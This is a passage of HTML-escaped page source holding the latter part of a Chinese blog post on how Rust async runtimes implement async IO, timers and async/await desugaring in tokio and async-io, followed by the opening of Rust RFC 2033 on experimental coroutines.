&#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F;&#x2F; List of all current waiters.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    list: WaitList,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F;&#x2F; Waker used for AsyncRead.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  reader: Option,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F;&#x2F; Waker used for AsyncWrite.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  writer: Option,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;第二，它把这个 ScheduledIO 结构，仿照 RawTask 的方法，只存一个指针，且这个指针是以 u64 的形式作为 mio 中 IO 事件的 Poller 需要的 token 注册的：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;pub(crate) fn token(&amp;amp;self) -&amp;gt; mio::Token {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    mio::Token(self as *const _ as usize)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;pub(super) fn add_source(...) -&amp;gt; io::Result&amp;lt;Arc&amp;lt;ScheduledIo&amp;gt;&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let scheduled_io = self.registrations.allocate(&amp;amp;mut self.synced.lock())?;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let token = scheduled_io.token();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    self.registry.register(source, token, interest.to_mio())?;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Ok(scheduled_io)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这个指针在事件循环驱动时被强转回来：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;fn turn(...) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let events = &amp;amp;mut self.events;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    self.poll.poll(events, max_wait);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    for event in events.iter() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let token = event.token();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let ready = Ready::from_mio(event);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let ptr: *const ScheduledIo = token.0 as *const _;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let io: &amp;amp;ScheduledIo = unsafe { &amp;amp;*ptr };&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        io.set_readiness(Tick::Set(self.tick), |curr| curr | ready);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        io.wake(ready);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;此外，不同于 async-io 会启动一个 “async-io” 线程拉取 IO 事件，tokio 的 Async IO 使用的 ScheduledIO 依赖于 tokio Runtime 当中的调度器。且 IO Driver 的主逻辑 turn 函数依赖 tokio 的 &lt;code&gt;Launch::launch&lt;&#x2F;code&gt; 或 &lt;code&gt;block_on&lt;&#x2F;code&gt; 调用 IO Driver 的 &lt;code&gt;park&lt;&#x2F;code&gt; 系列方法驱动。这就是 tokio 提供的 IO 原语无法应用于其他异步运行时的原因。&lt;&#x2F;p&gt;
&lt;p&gt;相反，类似 &lt;code&gt;tokio::sync::mpsc&lt;&#x2F;code&gt; 这样只是使用传入的 Context 而不依赖 tokio Runtime 制造 Context 的库，就可以在其他运行时里正常使用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;timer&quot;&gt;Timer&lt;&#x2F;h3&gt;
&lt;p&gt;最后，快速介绍 Async 运行时里 Timer 的实现。理解了 Async IO 的实现，Timer 的实现就非常自然。&lt;&#x2F;p&gt;
&lt;p&gt;同样，Timer 被创建时会被存在某个地方。async-io 实际上也支持 Timer 接口，创造出来的 Timer 同样被存在 Reactor 上。对于 tokio 运行时，则是构造一个 TimerShared 结构存到 Wheel 里。&lt;&#x2F;p&gt;
&lt;p&gt;对于 async-io 来说，驱动的逻辑是在每次反应堆的 react 接口被调用时，调用 &lt;code&gt;process_timers&lt;&#x2F;code&gt; 方法把已到时间的 Timer 的 Waker 加入到待处理 Waker 集合中。除了 IO 事件发生可以触发 react 调用，如果 “async-io” 线程发现还有注册的 Timer 待触发，那么它会在最近一个 Timer 触发的时间中断阻塞等待 IO 事件，强行再次处理一次 Timer 集合：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;pub(crate) fn react(&amp;amp;mut self, timeout: Option&amp;lt;Duration&amp;gt;) -&amp;gt; io::Result&amp;lt;()&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let next_timer = self.reactor.process_timers(&amp;amp;mut wakers);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let timeout = match (next_timer, timeout) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        (None, None) =&amp;gt; None,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        (Some(t), None) | (None, Some(t)) =&amp;gt; Some(t),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        (Some(a), Some(b)) =&amp;gt; Some(a.min(b)),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    };&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let res = match self.reactor.poller.wait(&amp;amp;mut self.events, timeout) { ... }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这样，只要有 Timer 待触发，那么它一定会在预计时间点后的某个时间被唤醒，而不会永远等待。&lt;&#x2F;p&gt;
&lt;p&gt;对于 tokio 的情形，情况要稍微复杂一些。以 Sleep 为例，构造 Sleep 时会尝试从 tokio Runtime 当前的 Context 里取得调度器：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;pub(crate) fn new_timeout(...) -&amp;gt; Sleep {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let handle = scheduler::Handle::current();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let entry = TimerEntry::new(&amp;amp;handle, deadline);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let inner = Inner {};&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Sleep { inner, entry }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这里的 TimeEntry 对应到 Async IO 里的 ScheduledIO 结构。需要挂起任务时，调用 &lt;code&gt;self.driver().reregister(...)&lt;&#x2F;code&gt; 方法注册到 Timer 的 Wheel 里。跟 Async IO 依赖 &lt;code&gt;Launch::launch&lt;&#x2F;code&gt; 或 &lt;code&gt;block_on&lt;&#x2F;code&gt; 调用 IO Driver 的 &lt;code&gt;park&lt;&#x2F;code&gt; 方法驱动一样，Timer Wheel 也有一个 Driver 会在 IO Driver &lt;code&gt;park&lt;&#x2F;code&gt; 前被调用。&lt;&#x2F;p&gt;
&lt;p&gt;具体细节不再展开，可以按照这里提到的代码块和接口自行查找阅读理解。唯一值得一提的是，通常 Timer 的存储是用优先级队列或者叫小顶堆来构造，这样从数据结构里取出来的第一个 Timer 就是应当最早被触发的那一个。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jie-yu&quot;&gt;结语&lt;&#x2F;h3&gt;
&lt;p&gt;以上就是 Rust Async Runtime 实现的核心内容。概括地说，Async Runtime 包括两个核心角色，加上串联这两个角色的媒介：&lt;&#x2F;p&gt;
&lt;p&gt;第一个核心角色是调度器，即 tokio 里的 &lt;code&gt;Runtime&lt;&#x2F;code&gt; 或 glommio 的 &lt;code&gt;LocalExecutor&lt;&#x2F;code&gt; 等。它负责取得注册到调度器上的 Future 并调用 poll 方法触发计算。注册的方法通常是 &lt;code&gt;block_on&lt;&#x2F;code&gt; 函数或 &lt;code&gt;spawn&lt;&#x2F;code&gt; 方法，如果支持后者，则需要额外设计某种存储 RawTask 的结构。&lt;&#x2F;p&gt;
&lt;p&gt;第二个核心角色是驱动器，即 Async IO 的 Driver 或 Timer 的 Driver 等，也可以对应到 async-io 库的 “async-io” 线程。它负责监听外界信息（资源是否可用，时间过去多久等），并在外界信息显示被挂起的任务可以继续运行时，恢复任务运行。&lt;&#x2F;p&gt;
&lt;p&gt;驱动器和调度器沟通的媒介，就是经由 poll 接口传递的 Context 及其中的 Waker 实例。调度器构造出 Waker 实例，驱动器存储 Waker 并在任务可以继续执行时，调用 Waker 的 wake 方法恢复任务运行。恢复运行的常见实现，要么是解除 &lt;code&gt;block_on&lt;&#x2F;code&gt; 线程的阻塞，重新 poll 一遍，要么是把任务以 RawTask 的形式提交到调度器里，等待调度器取出作业运行。&lt;&#x2F;p&gt;
&lt;p&gt;需要说明的是，本文介绍的所有概念和实现方式，只有 Future API 和 Waker API 是标准库里的接口。其他设计和实现都是目前 Rust 社群探索出来的实践，并不是实现异步运行时的要求。&lt;&#x2F;p&gt;
&lt;p&gt;实际上，上面这些实现里至少介绍了几种不同的异步运行时风格：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;block_on vs. spawn&lt;&#x2F;li&gt;
&lt;li&gt;thread per task vs. RawTask + TaskQueue&lt;&#x2F;li&gt;
&lt;li&gt;Async IO 和 Timer 的多种实现形式&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通往罗马的路不止一条。&lt;&#x2F;p&gt;
&lt;p&gt;最后，关于并发编程的实践，我想分享以下几点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;尽量写串行代码。并发不是银弹，实际上它会增加代码复杂性。我们聊了这么多只是为了应对固有复杂性。现实编程当中，能不写就不写。&lt;&#x2F;li&gt;
&lt;li&gt;Timer 必须并发，IO 几乎必须并发，独立的 Worker 需要并发跑主循环。这种情况下，绑专门的线程（池）运行并发逻辑；也就是说，不要 &lt;code&gt;#[tokio::main]&lt;&#x2F;code&gt; 全局都在同一个大池子里竞争。这个时候，不同线程组之间，必要时用 channel 传递状态。&lt;&#x2F;li&gt;
&lt;li&gt;并行计算的情形，用自动并行库（rayon）并原地等待。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;can-kao-yue-du&quot;&gt;参考阅读&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;async-book&#x2F;&quot;&gt;Asynchronous Programming in Rust&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;without.boats&#x2F;blog&#x2F;why-async-rust&#x2F;&quot;&gt;Why async Rust?&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;boats.gitlab.io&#x2F;blog&#x2F;post&#x2F;wakers-i&#x2F;&quot;&gt;The Waker API I: what does a waker do?&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;boats.gitlab.io&#x2F;blog&#x2F;post&#x2F;wakers-ii&#x2F;&quot;&gt;The Waker API II: waking across threads&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;maciej.codes&#x2F;2022-06-09-local-async.html&quot;&gt;Local Async Executors and Why They Should be the Default&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;without.boats&#x2F;blog&#x2F;thread-per-core&#x2F;&quot;&gt;Thread-per-core&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;bonus-async-await&quot;&gt;Bonus: async&#x2F;await&lt;&#x2F;h3&gt;
&lt;p&gt;上面讨论中省略了 Async Rust 的一个重要组成部分，那就是 &lt;code&gt;async&lt;&#x2F;code&gt; 和 &lt;code&gt;await&lt;&#x2F;code&gt; 语法糖到底是怎么展开的。解释这个问题涉及到 Rust 编译器解语法糖的细节，这里展开讨论内容就实在太长了，而且 Rust 编译器本身的实现一直在改。&lt;&#x2F;p&gt;
&lt;p&gt;大致上，async 块会被展开成一个接受 Context 参数的闭包，回想 Future trait 唯一定义的 poll 方法也接受一个 Context 参数，async 块转成 Future 实例的过程应该不难想象。&lt;&#x2F;p&gt;
&lt;p&gt;await 的展开比较复杂，当前实现里，它会被展开成一段带 &lt;code&gt;yield&lt;&#x2F;code&gt; 的 Coroutine 代码，这是一个能保存当前运行状态的结构。例如，&lt;code&gt;async { foo().await }&lt;&#x2F;code&gt; 大概会被展开成：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;match ::std::future::IntoFuture::into_future(foo()) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    mut __awaitee =&amp;gt; loop {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        match unsafe { ::std::future::Future::poll(&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            &amp;lt;::std::pin::Pin&amp;gt;::new_unchecked(&amp;amp;mut __awaitee),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            ::std::future::get_context(task_context),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        )} {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            ::std::task::Poll::Ready(result) =&amp;gt; break result,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            ::std::task::Poll::Pending =&amp;gt; {}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        task_context = yield ();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这些实现都还不是 stable 的，相关资料如下，想了解的读者可以进一步琢磨。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.cont.run&#x2F;lowering-async-await-in-rust&#x2F;&quot;&gt;lowering async await in rust&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;beta&#x2F;unstable-book&#x2F;language-features&#x2F;generators.html&quot;&gt;generators&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;nightly&#x2F;std&#x2F;ops&#x2F;trait.Coroutine.html&quot;&gt;Coroutine&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lang-team.rust-lang.org&#x2F;design_notes&#x2F;general_coroutines.html&quot;&gt;Generalized coroutines&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;rfcs&#x2F;2033-experimental-coroutines.html&quot;&gt;experimental coroutines&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;blob&#x2F;fee5518cdd4435c60a57fe3bb734fc1a14abeb7a&#x2F;compiler&#x2F;rustc_ast_lowering&#x2F;src&#x2F;expr.rs#L756-L770&quot;&gt;desugar await&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;blob&#x2F;fee5518cdd4435c60a57fe3bb734fc1a14abeb7a&#x2F;compiler&#x2F;rustc_mir_transform&#x2F;src&#x2F;coroutine.rs#L522-L542&quot;&gt;transform_async_context&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;rfcstext2033-experimental-coroutines-md-at-master-rust-langrfcs&quot;&gt;rfcstext2033-experimental-coroutines.md at master · rust-langrfcs&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Feature Name: &lt;code&gt;coroutines&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Start Date: 2017-06-15&lt;&#x2F;li&gt;
&lt;li&gt;RFC PR: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;pull&#x2F;2033&quot;&gt;rust-lang&#x2F;rfcs#2033&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Rust Issue: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;43122&quot;&gt;rust-lang&#x2F;rust#43122&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;summary&quot;&gt;Summary&lt;&#x2F;h3&gt;
&lt;p&gt;This is an &lt;strong&gt;experimental RFC&lt;&#x2F;strong&gt; for adding a new feature to the language, coroutines (also commonly referred to as generators). This RFC is intended to be relatively lightweight and bikeshed free as it will be followed by a separate RFC in the future for stabilization of this language feature. The intention here is to make sure everyone&#x27;s on board with the &lt;em&gt;general idea&lt;&#x2F;em&gt; of coroutines&#x2F;generators being added to the Rust compiler and available for use on the nightly channel.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;motivation&quot;&gt;Motivation&lt;&#x2F;h3&gt;
&lt;p&gt;One of Rust&#x27;s 2017 roadmap goals is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;blob&#x2F;master&#x2F;text&#x2F;1774-roadmap-2017.md#rust-should-be-well-equipped-for-writing-robust-high-scale-servers&quot;&gt;&quot;Rust should be well-equipped for writing robust, high-scale servers&quot;&lt;&#x2F;a&gt;. A &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;users.rust-lang.org&#x2F;t&#x2F;what-does-rust-need-today-for-server-workloads&#x2F;11114&quot;&gt;recent survey&lt;&#x2F;a&gt; has shown that the biggest blocker to robust, high-scale servers is ergonomic usage of async I&#x2F;O (futures&#x2F;Tokio&#x2F;etc). Namely, the lack of async&#x2F;await syntax. Syntax like async&#x2F;await is essentially the defacto standard nowadays when working with async I&#x2F;O, especially in languages like C#, JS, and Python. Adding such a feature to rust would be a huge boon to productivity on the server and make significant progress on the 2017 roadmap goal as one of the largest pain points, creating and returning futures, should be as natural as writing blocking code.&lt;&#x2F;p&gt;
&lt;p&gt;With our eyes set on async&#x2F;await the next question is how would we actually implement this? There&#x27;s sort of two main sub-questions that we have to answer to make progress here though, which are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;What&#x27;s the actual syntax for async&#x2F;await? Should we be using new keywords in the language or pursuing syntax extensions instead?&lt;&#x2F;li&gt;
&lt;li&gt;How do futures created with async&#x2F;await support suspension? Essentially while you&#x27;re waiting for some sub-future to complete, how does the future created by the async&#x2F;await syntax return back up the stack and support coming back and continuing to execute?&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The focus of this experimental RFC is predominately on the second, but before we dive into more motivation there it may be worth to review the expected syntax for async&#x2F;await.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;async-await-syntax&quot;&gt;Async&#x2F;await syntax&lt;&#x2F;h4&gt;
&lt;p&gt;Currently it&#x27;s intended that &lt;strong&gt;no new keywords are added to Rust yet&lt;&#x2F;strong&gt; to support async&#x2F;await. This is done for a number of reasons, but one of the most important is flexibility. It allows us to stabilize features more quickly and experiment more quickly as well.&lt;&#x2F;p&gt;
&lt;p&gt;Without keywords the intention is that async&#x2F;await will be implemented with macros, both procedural and &lt;code&gt;macro_rules!&lt;&#x2F;code&gt; style. We should be able to leverage &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;blob&#x2F;master&#x2F;text&#x2F;1566-proc-macros.md&quot;&gt;procedural macros&lt;&#x2F;a&gt; to give a near-native experience. Note that procedural macros are only available on the nightly channel today, so this means that &quot;stable async&#x2F;await&quot; will have to wait for procedural macros (or at least a small slice) to stabilize.&lt;&#x2F;p&gt;
&lt;p&gt;With that in mind, the expected syntax for async&#x2F;await is:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[async]
fn print_lines() -&amp;gt; io::Result&amp;lt;()&amp;gt; {
    let addr = &amp;quot;127.0.0.1:8080&amp;quot;.parse().unwrap();
    let tcp = await!(TcpStream::connect(&amp;amp;addr))?;
    let io = BufReader::new(tcp);

    #[async]
    for line in io.lines() {
        println!(&amp;quot;{}&amp;quot;, line);
    }

    Ok(())
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The notable pieces here are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;#[async]&lt;&#x2F;code&gt; is how you tag a function as &quot;this returns a future&quot;. This is implemented with a &lt;code&gt;proc_macro_attribute&lt;&#x2F;code&gt; directive and allows us to change the function to actually returning a future instead of a &lt;code&gt;Result&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
